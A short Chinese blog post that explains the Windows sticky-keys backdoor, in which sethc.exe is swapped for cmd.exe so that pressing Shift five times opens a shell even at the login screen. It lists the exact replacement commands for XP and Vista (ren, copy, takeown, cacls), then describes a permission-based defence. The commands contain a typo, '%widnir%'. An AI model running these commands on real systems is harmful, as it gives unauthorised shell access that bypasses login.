渴慕晨光

sethc

后门原理：
在windows 2000/xp/vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到WINDOWS的屏保，将程序用cmd.exe替换后，就可以打开shell了。
XP：
将安装源光盘弹出（或将硬盘上的安装目录改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe
VISTA：
takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
然后按XP方法替换文件

解决办法：
打开你的system32目录，寻找sethc.exe文件，默认情况，管理员是不能编辑此文件的，因为默认权限是继承不允许的。所以，在改文件上打开右键，选择“属性”，选择“安全”选项卡，再点击“高级”按钮，把“从父项继承……”前面的对勾去掉，然后确定一下。接下来有两种方式：一是删除所有组的权限，就是大家都用不了该文件，另一种是添加一个everyone组，然后设置该组的所有权限都是“拒绝”，效果是一样的，反正就是大家都玩不了。
还有另外一个位置/%systemroot%/system32/dllcache目录下，也使用同样的方法设置sethc.exe.

我直接用360扫描一下就好了。